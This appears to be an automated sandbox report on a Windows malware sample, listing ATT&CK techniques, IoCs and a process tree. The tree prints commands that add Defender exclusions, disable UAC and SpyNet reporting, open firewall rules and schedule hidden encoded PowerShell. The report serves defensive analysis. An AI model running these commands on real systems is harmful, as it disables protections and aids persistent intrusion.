djvu | 7f6a1fe8b2acedc1c54746124c87133ee68e64c411d2c4fbc7aaa9e8089c7354

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	E35F.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	E35F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\E35F.exe = "0"	E35F.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
4760	netsh.exe
1184	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	E35F.exe

Executes dropped EXE 6 IoCs

pid	Process
3372	DAA1.exe
1844	DB9C.exe
4804	E022.exe
1976	E35F.exe
4464	F060.exe
3164	cmd.exe

Loads dropped DLL 1 IoCs

pid	Process
1948	regsvr32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4336	icacls.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0006000000023236-221.dat	themida
behavioral2/files/0x0006000000023236-247.dat	themida
behavioral2/memory/1484-373-0x00007FF693F20000-0x00007FF6950AF000-memory.dmp	themida
behavioral2/memory/1484-427-0x00007FF693F20000-0x00007FF6950AF000-memory.dmp	themida

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000002322e-199.dat	upx
behavioral2/files/0x000600000002322e-229.dat	upx
behavioral2/memory/4304-313-0x0000000000330000-0x0000000000865000-memory.dmp	upx
behavioral2/files/0x000600000002324c-305.dat	upx
behavioral2/files/0x000600000002322e-294.dat	upx
behavioral2/files/0x000600000002322e-266.dat	upx
behavioral2/files/0x000600000002322e-352.dat	upx
behavioral2/memory/5056-355-0x0000000000800000-0x0000000000D35000-memory.dmp	upx
behavioral2/memory/4856-367-0x0000000000800000-0x0000000000D35000-memory.dmp	upx
behavioral2/files/0x000600000002322e-379.dat	upx
behavioral2/memory/4024-430-0x0000000000800000-0x0000000000D35000-memory.dmp	upx
behavioral2/memory/5348-433-0x0000000000800000-0x0000000000D35000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	E35F.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	E35F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\E35F.exe = "0"	E35F.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E35F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	E35F.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
164	api.myip.com
167	api.myip.com
169	ipinfo.io
170	ipinfo.io
160	api.2ip.ua
161	api.2ip.ua
162	api.2ip.ua

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1844 set thread context of 2868	1844	DB9C.exe	102
PID 1976 set thread context of 4764	1976	E35F.exe	113

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1572	sc.exe
3540	sc.exe
1556	sc.exe
1272	sc.exe
5972	sc.exe
4476	sc.exe
5836	sc.exe
5100	sc.exe
5156	sc.exe
1124	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
5028	1844	WerFault.exe	98
5584	3104	WerFault.exe	208
2480	3308	WerFault.exe	117
3716	5216	WerFault.exe	216

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4604	schtasks.exe
5580	schtasks.exe
3672	schtasks.exe
3212	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2692	file.exe
2692	file.exe
2520	Process not Found
2520	Process not Found
2520	Process not Found
2520	Process not Found
2520	Process not Found
2520	Process not Found
2520	Process not Found
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2520	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2692	file.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2520	Process not Found
Token: SeCreatePagefilePrivilege	2520	Process not Found
Token: SeShutdownPrivilege	2520	Process not Found
Token: SeCreatePagefilePrivilege	2520	Process not Found
Token: SeShutdownPrivilege	2520	Process not Found
Token: SeCreatePagefilePrivilege	2520	Process not Found
Token: SeShutdownPrivilege	2520	Process not Found
Token: SeCreatePagefilePrivilege	2520	Process not Found
Token: SeShutdownPrivilege	2520	Process not Found
Token: SeCreatePagefilePrivilege	2520	Process not Found
Token: SeDebugPrivilege	1976	E35F.exe
Token: SeDebugPrivilege	4764	AppLaunch.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 3372	2520	Process not Found	97
PID 2520 wrote to memory of 3372	2520	Process not Found	97
PID 2520 wrote to memory of 3372	2520	Process not Found	97
PID 2520 wrote to memory of 1844	2520	Process not Found	98
PID 2520 wrote to memory of 1844	2520	Process not Found	98
PID 2520 wrote to memory of 1844	2520	Process not Found	98
PID 1844 wrote to memory of 1032	1844	DB9C.exe	100
PID 1844 wrote to memory of 1032	1844	DB9C.exe	100
PID 1844 wrote to memory of 1032	1844	DB9C.exe	100
PID 1844 wrote to memory of 2668	1844	DB9C.exe	101
PID 1844 wrote to memory of 2668	1844	DB9C.exe	101
PID 1844 wrote to memory of 2668	1844	DB9C.exe	101
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 1844 wrote to memory of 2868	1844	DB9C.exe	102
PID 2520 wrote to memory of 4692	2520	Process not Found	103
PID 2520 wrote to memory of 4692	2520	Process not Found	103
PID 4692 wrote to memory of 1948	4692	regsvr32.exe	105
PID 4692 wrote to memory of 1948	4692	regsvr32.exe	105
PID 4692 wrote to memory of 1948	4692	regsvr32.exe	105
PID 2520 wrote to memory of 4804	2520	Process not Found	106
PID 2520 wrote to memory of 4804	2520	Process not Found	106
PID 2520 wrote to memory of 4804	2520	Process not Found	106
PID 2520 wrote to memory of 1976	2520	Process not Found	108
PID 2520 wrote to memory of 1976	2520	Process not Found	108
PID 2520 wrote to memory of 1976	2520	Process not Found	108
PID 1976 wrote to memory of 4016	1976	E35F.exe	109
PID 1976 wrote to memory of 4016	1976	E35F.exe	109
PID 1976 wrote to memory of 4016	1976	E35F.exe	109
PID 2520 wrote to memory of 4464	2520	Process not Found	110
PID 2520 wrote to memory of 4464	2520	Process not Found	110
PID 2520 wrote to memory of 4464	2520	Process not Found	110
PID 1976 wrote to memory of 1352	1976	E35F.exe	111
PID 1976 wrote to memory of 1352	1976	E35F.exe	111
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 1976 wrote to memory of 4764	1976	E35F.exe	113
PID 2520 wrote to memory of 3164	2520	Process not Found	223
PID 2520 wrote to memory of 3164	2520	Process not Found	223
PID 2520 wrote to memory of 3164	2520	Process not Found	223

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	E35F.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2692

C:\Users\Admin\AppData\Local\Temp\DAA1.exe
C:\Users\Admin\AppData\Local\Temp\DAA1.exe
1⤵
- Executes dropped EXE
PID:3372
- C:\Users\Admin\AppData\Local\Temp\DAA1.exe
  C:\Users\Admin\AppData\Local\Temp\DAA1.exe
  2⤵
  PID:4956
- - C:\Users\Admin\AppData\Local\Temp\DAA1.exe
    "C:\Users\Admin\AppData\Local\Temp\DAA1.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:1364
  - - C:\Users\Admin\AppData\Local\Temp\DAA1.exe
      "C:\Users\Admin\AppData\Local\Temp\DAA1.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:5216
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 572
        5⤵
        Program crash
        
        PID:3716

C:\Users\Admin\AppData\Local\Temp\DB9C.exe
C:\Users\Admin\AppData\Local\Temp\DB9C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:1032
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2668
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2868
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 288
  2⤵
  - Program crash
  PID:5028

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\DEC9.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\DEC9.dll
  2⤵
  - Loads dropped DLL
  PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1844 -ip 1844
1⤵
PID:4936

C:\Users\Admin\AppData\Local\Temp\E022.exe
C:\Users\Admin\AppData\Local\Temp\E022.exe
1⤵
- Executes dropped EXE
PID:4804
- C:\Users\Admin\AppData\Local\Temp\E022.exe
  C:\Users\Admin\AppData\Local\Temp\E022.exe
  2⤵
  PID:5252
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\8a814ab7-6a85-4e79-bf3c-d7d526037fbc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4336
- - C:\Users\Admin\AppData\Local\Temp\E022.exe
    "C:\Users\Admin\AppData\Local\Temp\E022.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:3896
  - - C:\Users\Admin\AppData\Local\Temp\E022.exe
      "C:\Users\Admin\AppData\Local\Temp\E022.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:3104
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 568
        5⤵
        Program crash
        
        PID:5584

C:\Users\Admin\AppData\Local\Temp\E35F.exe
C:\Users\Admin\AppData\Local\Temp\E35F.exe
1⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E35F.exe" -Force
  2⤵
  PID:4016
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
  2⤵
  PID:1352
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4764
- - C:\Users\Admin\Pictures\PoAsJIBKcovYIBJhAh77hs6Q.exe
    "C:\Users\Admin\Pictures\PoAsJIBKcovYIBJhAh77hs6Q.exe"
    3⤵
    PID:3444
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3628
  - - C:\Users\Admin\Pictures\PoAsJIBKcovYIBJhAh77hs6Q.exe
      "C:\Users\Admin\Pictures\PoAsJIBKcovYIBJhAh77hs6Q.exe"
      4⤵
      PID:5696
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:5328
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:628
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1184
- - C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe
    "C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe" --silent --allusers=0
    3⤵
    PID:5056
  - - C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe
      C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6ccd3600,0x6ccd3610,0x6ccd361c
      4⤵
      PID:4856
  - - C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe
      "C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5056 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20230915074528" --session-guid=a5058bdc-22e3-4aa1-a1a9-aef9d228520b --server-tracking-blob=MmY5MjJiNjdkYmE0YjFlN2RhZWRlZWJjMGU0YjhiZTlmOWE1OGU3YTkyZWZmZGFmNWZmY2Y3ZWM5MDIwNzRkZDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5NjI0MzY3NC40MzMwIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI3ZDZhMTI5Ni0xZDM2LTRkZTUtOWRkNi0xODUyMDM1NWNiOWIifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=0005000000000000
      4⤵
      PID:4024
    - - C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe
        
        C:\Users\Admin\Pictures\JEqukTOwXBgZLh9KvnjERA6C.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c0,0x2fc,0x6add3600,0x6add3610,0x6add361c
        5⤵
        
        PID:5348
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\JEqukTOwXBgZLh9KvnjERA6C.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\JEqukTOwXBgZLh9KvnjERA6C.exe" --version
      4⤵
      PID:4304
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe"
      4⤵
      PID:3008
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\assistant_installer.exe" --version
      4⤵
      PID:3792
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309150745281\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=100.0.4815.21 --initial-client-data=0x274,0x278,0x27c,0x250,0x280,0x27e8a0,0x27e8b0,0x27e8bc
        5⤵
        
        PID:5556
- - C:\Users\Admin\Pictures\dYs5zEIMmwzkhdvZLYwqnEx9.exe
    "C:\Users\Admin\Pictures\dYs5zEIMmwzkhdvZLYwqnEx9.exe"
    3⤵
    PID:1484
- - C:\Users\Admin\Pictures\3brm0GC7e69zWCflFr4JMJ6H.exe
    "C:\Users\Admin\Pictures\3brm0GC7e69zWCflFr4JMJ6H.exe"
    3⤵
    PID:568
- - C:\Users\Admin\Pictures\0ewzSKurpfnycgvyzH8rnbhR.exe
    "C:\Users\Admin\Pictures\0ewzSKurpfnycgvyzH8rnbhR.exe"
    3⤵
    PID:3092
- - C:\Users\Admin\Pictures\PpBibEfvwnIm332hZ0BiaYDz.exe
    "C:\Users\Admin\Pictures\PpBibEfvwnIm332hZ0BiaYDz.exe"
    3⤵
    PID:3264
- - C:\Users\Admin\Pictures\azJpwHEnC08BrWKYT6cKjDZf.exe
    "C:\Users\Admin\Pictures\azJpwHEnC08BrWKYT6cKjDZf.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
    3⤵
    PID:4596
- - C:\Users\Admin\Pictures\BAGc6z3vaYc2FnznYqQwX8iD.exe
    "C:\Users\Admin\Pictures\BAGc6z3vaYc2FnznYqQwX8iD.exe"
    3⤵
    PID:1712

C:\Users\Admin\AppData\Local\Temp\F060.exe
C:\Users\Admin\AppData\Local\Temp\F060.exe
1⤵
- Executes dropped EXE
PID:4464
- C:\Users\Admin\AppData\Local\Temp\aafg31.exe
  "C:\Users\Admin\AppData\Local\Temp\aafg31.exe"
  2⤵
  PID:3844
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:4488
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:4284
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  PID:3308
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:5444
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:1440
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      Executes dropped EXE
      PID:3164
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:4760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5196
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3308 -s 908
    3⤵
    - Program crash
    PID:2480
- C:\Users\Admin\AppData\Local\Temp\kos1.exe
  "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
  2⤵
  PID:4568
- - C:\Users\Admin\AppData\Local\Temp\set16.exe
    "C:\Users\Admin\AppData\Local\Temp\set16.exe"
    3⤵
    PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\is-3ERKH.tmp\is-9J2EI.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-3ERKH.tmp\is-9J2EI.tmp" /SL4 $A0062 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
      4⤵
      PID:3776
    - - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        5⤵
        
        PID:5596
- - C:\Users\Admin\AppData\Local\Temp\kos.exe
    "C:\Users\Admin\AppData\Local\Temp\kos.exe"
    3⤵
    PID:5096

C:\Users\Admin\AppData\Local\Temp\F5DF.exe
C:\Users\Admin\AppData\Local\Temp\F5DF.exe
1⤵
PID:3164

C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe
.\Install.exe
1⤵
PID:2296
- C:\Users\Admin\AppData\Local\Temp\7zS16FE.tmp\Install.exe
  .\Install.exe /dyFIdidYL "385118" /S
  2⤵
  PID:4736
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
    3⤵
    PID:6004
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
      4⤵
      PID:324
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        5⤵
        
        PID:5200
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        5⤵
        
        PID:2680
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
    3⤵
    PID:6108
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
      4⤵
      PID:5132
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:1784
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:4148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gNLnMOAxL" /SC once /ST 00:24:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:4604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gNLnMOAxL"
    3⤵
    PID:4136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gNLnMOAxL"
    3⤵
    PID:5896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "bAutabDQFHrvmwrWbf" /SC once /ST 07:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\ZaHUZmj.exe\" F9 /Tcsite_idtaO 385118 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:3212

C:\Program Files (x86)\PA Previewer\previewer.exe
"C:\Program Files (x86)\PA Previewer\previewer.exe" -i
1⤵
PID:4304

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 8
1⤵
PID:2692
- C:\Windows\SysWOW64\net1.exe
